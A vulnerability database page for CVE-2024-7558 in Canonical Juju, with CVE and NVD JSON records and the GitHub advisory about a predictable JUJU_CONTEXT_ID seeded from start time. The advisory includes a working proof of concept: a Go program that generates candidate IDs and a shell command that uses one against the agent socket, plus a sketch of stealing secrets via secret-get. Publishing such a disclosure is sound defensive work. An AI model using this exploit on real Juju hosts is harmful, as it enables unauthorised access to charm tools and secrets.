Vulnerability-Lookup

CVE-2024-7558 (GCVE-0-2024-7558)

Vulnerability from cvelistv5 – Published: 2024-10-02 10:06 – Updated: 2024-10-02 13:59

Summary

JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-10-02 13:58 UTC

CWE

CWE-337 - Predictable Seed in Pseudo-Random Number Generator (PRNG)
CWE-340 - Generation of Predictable Numbers or Identifiers
CWE-1391 - Use of Weak Credentials

Assigner

canonical mitre root

References

2 references

URL	Tags
https://github.com/juju/juju/security/advisories/…	issue-tracking
https://www.cve.org/CVERecord?id=CVE-2024-7558	issue-tracking

Impacted products

1 product

Vendor	Product	Version	CPE status
Canonical Ltd.	Juju	Affected: 3.5 , < 3.5.4 (semver) Affected: 3.4 , < 3.4.6 (semver) Affected: 3.3 , < 3.3.7 (semver) Affected: 3.1 , < 3.1.10 (semver) Affected: 2.9 , < 2.9.51 (semver)	guessed

Credits

Harry Pidcock Harry Pidcock Mark Esler

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-7558",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-02T13:58:28.823188Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-02T13:59:04.171Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "packageName": "juju",
          "platforms": [
            "Linux"
          ],
          "product": "Juju",
          "repo": "https://github.com/juju/juju",
          "vendor": "Canonical Ltd.",
          "versions": [
            {
              "lessThan": "3.5.4",
              "status": "affected",
              "version": "3.5",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.6",
              "status": "affected",
              "version": "3.4",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.10",
              "status": "affected",
              "version": "3.1",
              "versionType": "semver"
            },
            {
              "lessThan": "2.9.51",
              "status": "affected",
              "version": "2.9",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Harry Pidcock"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Harry Pidcock"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "Mark Esler"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-337",
              "description": "CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-340",
              "description": "CWE-340: Generation of Predictable Numbers or Identifiers",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1391",
              "description": "CWE-1391: Use of Weak Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-02T10:06:31.098Z",
        "orgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
        "shortName": "canonical"
      },
      "references": [
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
    "assignerShortName": "canonical",
    "cveId": "CVE-2024-7558",
    "datePublished": "2024-10-02T10:06:31.098Z",
    "dateReserved": "2024-08-06T13:45:13.579Z",
    "dateUpdated": "2024-10-02T13:59:04.171Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2024-7558",
      "date": "2026-09-24",
      "epss": "0.00502",
      "percentile": "0.40331"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "packageName": "juju",
                "platforms": [
                  "Linux"
                ],
                "product": "Juju",
                "repo": "https://github.com/juju/juju",
                "vendor": "Canonical Ltd.",
                "versions": [
                  {
                    "lessThan": "3.5.4",
                    "status": "affected",
                    "version": "3.5",
                    "versionType": "semver"
                  },
                  {
                    "lessThan": "3.4.6",
                    "status": "affected",
                    "version": "3.4",
                    "versionType": "semver"
                  },
                  {
                    "lessThan": "3.3.7",
                    "status": "affected",
                    "version": "3.3",
                    "versionType": "semver"
                  },
                  {
                    "lessThan": "3.1.10",
                    "status": "affected",
                    "version": "3.1",
                    "versionType": "semver"
                  },
                  {
                    "lessThan": "2.9.51",
                    "status": "affected",
                    "version": "2.9",
                    "versionType": "semver"
                  }
                ]
              }
            ],
            "source": "security@ubuntu.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "956F1957-34C5-47D9-B922-107963295A1F",
                    "versionEndExcluding": "2.9.51",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "32122910-827A-438E-B1DD-42C8E24D7F5D",
                    "versionEndExcluding": "3.1.10",
                    "versionStartIncluding": "3.1.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "1911DB78-6756-49B9-BC0E-90EBBCFA20D9",
                    "versionEndExcluding": "3.2.4",
                    "versionStartIncluding": "3.2.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "90FAD9A5-A5B3-4C53-B609-7BD399F4F6ED",
                    "versionEndExcluding": "3.3.7",
                    "versionStartIncluding": "3.3.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "6693CCDC-308E-40B3-BC8A-F9A2320A06F9",
                    "versionEndExcluding": "3.4.6",
                    "versionStartIncluding": "3.4",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "62BC59FA-04DB-4AC3-977D-691ED721171F",
                    "versionEndExcluding": "3.5.4",
                    "versionStartIncluding": "3.5.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm."
          },
          {
            "lang": "es",
            "value": "JUJU_CONTEXT_ID es un secreto de autenticaci\u00f3n predecible. En una m\u00e1quina Juju (que no sea de Kubernetes) o un contenedor de Juju Charm (en Kubernetes), un usuario sin privilegios en el mismo espacio de nombres de red puede conectarse a un socket de dominio abstracto y adivinar el valor de JUJU_CONTEXT_ID. Esto le otorga al usuario sin privilegios acceso a la misma informaci\u00f3n y herramientas que el contenedor de Juju Charm."
          }
        ],
        "id": "CVE-2024-7558",
        "lastModified": "2026-06-17T08:20:26.893",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "LOCAL",
                "availabilityImpact": "HIGH",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.0,
              "impactScore": 6.0,
              "source": "security@ubuntu.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.0,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.1,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2024-7558",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-02T13:58:28.823188Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2024-10-02T11:15:11.460",
        "references": [
          {
            "source": "security@ubuntu.com",
            "tags": [
              "Exploit",
              "Patch",
              "Vendor Advisory"
            ],
            "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
          },
          {
            "source": "security@ubuntu.com",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
          }
        ],
        "sourceIdentifier": "security@ubuntu.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-337"
              },
              {
                "lang": "en",
                "value": "CWE-340"
              },
              {
                "lang": "en",
                "value": "CWE-1391"
              }
            ],
            "source": "security@ubuntu.com",
            "type": "Secondary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-330"
              },
              {
                "lang": "en",
                "value": "CWE-335"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2025-05-28T22:17:15+00:00",
      "cve": "CVE-2024-7558",
      "id": "CVE-2024-7558",
      "initial_release_date": "2024-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "CVE-2024-7558",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2024/cve-2024-7558.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2024-7558",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2024-10-02T13:58:28.823188Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2024-10-02T13:58:58.178Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "packageName": "juju",
              "platforms": [
                "Linux"
              ],
              "product": "Juju",
              "repo": "https://github.com/juju/juju",
              "vendor": "Canonical Ltd.",
              "versions": [
                {
                  "lessThan": "3.5.4",
                  "status": "affected",
                  "version": "3.5",
                  "versionType": "semver"
                },
                {
                  "lessThan": "3.4.6",
                  "status": "affected",
                  "version": "3.4",
                  "versionType": "semver"
                },
                {
                  "lessThan": "3.3.7",
                  "status": "affected",
                  "version": "3.3",
                  "versionType": "semver"
                },
                {
                  "lessThan": "3.1.10",
                  "status": "affected",
                  "version": "3.1",
                  "versionType": "semver"
                },
                {
                  "lessThan": "2.9.51",
                  "status": "affected",
                  "version": "2.9",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Harry Pidcock"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Harry Pidcock"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Mark Esler"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "LOCAL",
                "availabilityImpact": "HIGH",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
                "version": "3.1"
              },
              "format": "CVSS"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-337",
                  "description": "CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-340",
                  "description": "CWE-340: Generation of Predictable Numbers or Identifiers",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-1391",
                  "description": "CWE-1391: Use of Weak Credentials",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2024-10-02T10:06:31.098Z",
            "orgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
            "shortName": "canonical"
          },
          "references": [
            {
              "tags": [
                "issue-tracking"
              ],
              "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
            },
            {
              "tags": [
                "issue-tracking"
              ],
              "url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
        "assignerShortName": "canonical",
        "cveId": "CVE-2024-7558",
        "datePublished": "2024-10-02T10:06:31.098Z",
        "dateReserved": "2024-08-06T13:45:13.579Z",
        "dateUpdated": "2024-10-02T13:59:04.171Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2024-7558

Vulnerability from fkie_nvd - Published: 2024-10-02 11:15 - Updated: 2026-06-17 08:20

Severity

8.7 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H
8.0 (High) - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security@ubuntu.com	https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4	Exploit, Patch, Vendor Advisory
	security@ubuntu.com	https://www.cve.org/CVERecord?id=CVE-2024-7558	Third Party Advisory

Impacted products

Vendor	Product	Version
canonical	juju	*
canonical	juju	*
canonical	juju	*
canonical	juju	*
canonical	juju	*
canonical	juju	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "packageName": "juju",
          "platforms": [
            "Linux"
          ],
          "product": "Juju",
          "repo": "https://github.com/juju/juju",
          "vendor": "Canonical Ltd.",
          "versions": [
            {
              "lessThan": "3.5.4",
              "status": "affected",
              "version": "3.5",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.6",
              "status": "affected",
              "version": "3.4",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.10",
              "status": "affected",
              "version": "3.1",
              "versionType": "semver"
            },
            {
              "lessThan": "2.9.51",
              "status": "affected",
              "version": "2.9",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "security@ubuntu.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "956F1957-34C5-47D9-B922-107963295A1F",
              "versionEndExcluding": "2.9.51",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "32122910-827A-438E-B1DD-42C8E24D7F5D",
              "versionEndExcluding": "3.1.10",
              "versionStartIncluding": "3.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "1911DB78-6756-49B9-BC0E-90EBBCFA20D9",
              "versionEndExcluding": "3.2.4",
              "versionStartIncluding": "3.2.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "90FAD9A5-A5B3-4C53-B609-7BD399F4F6ED",
              "versionEndExcluding": "3.3.7",
              "versionStartIncluding": "3.3.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6693CCDC-308E-40B3-BC8A-F9A2320A06F9",
              "versionEndExcluding": "3.4.6",
              "versionStartIncluding": "3.4",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "62BC59FA-04DB-4AC3-977D-691ED721171F",
              "versionEndExcluding": "3.5.4",
              "versionStartIncluding": "3.5.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm."
    },
    {
      "lang": "es",
      "value": "JUJU_CONTEXT_ID es un secreto de autenticaci\u00f3n predecible. En una m\u00e1quina Juju (que no sea de Kubernetes) o un contenedor de Juju Charm (en Kubernetes), un usuario sin privilegios en el mismo espacio de nombres de red puede conectarse a un socket de dominio abstracto y adivinar el valor de JUJU_CONTEXT_ID. Esto le otorga al usuario sin privilegios acceso a la misma informaci\u00f3n y herramientas que el contenedor de Juju Charm."
    }
  ],
  "id": "CVE-2024-7558",
  "lastModified": "2026-06-17T08:20:26.893",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 6.0,
        "source": "security@ubuntu.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.1,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-7558",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-10-02T13:58:28.823188Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-10-02T11:15:11.460",
  "references": [
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
    }
  ],
  "sourceIdentifier": "security@ubuntu.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-337"
        },
        {
          "lang": "en",
          "value": "CWE-340"
        },
        {
          "lang": "en",
          "value": "CWE-1391"
        }
      ],
      "source": "security@ubuntu.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-330"
        },
        {
          "lang": "en",
          "value": "CWE-335"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-MH98-763H-M9V4

Vulnerability from github – Published: 2024-10-03 16:49 – Updated: 2024-10-09 22:48

Summary

JUJU_CONTEXT_ID is a predictable authentication secret

Details

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components: - the application name - the unit number - the hook being currently run - a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403        Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
    "flag"
    "fmt"
    "math/rand"
    "time"
)

func main() {
    var unitName string
    var unitStartLogTime string
    var currentHook string
    flag.StringVar(&unitName, "u", "sleepy/0", "")
    flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
    flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
    flag.Parse()

    t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
    if err != nil {
        panic(err)
    }

    sources := []rand.Source{
        rand.NewSource(t.Unix()),
        rand.NewSource(t.Unix() - 1),
        rand.NewSource(t.Unix() - 2),
    }

    for i := 0; i < 10; i++ {
        for _, source := range sources {
            fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
        }
    }
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H

6.2 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240826044107-ecd7e2d0e986"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-337",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T16:49:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### 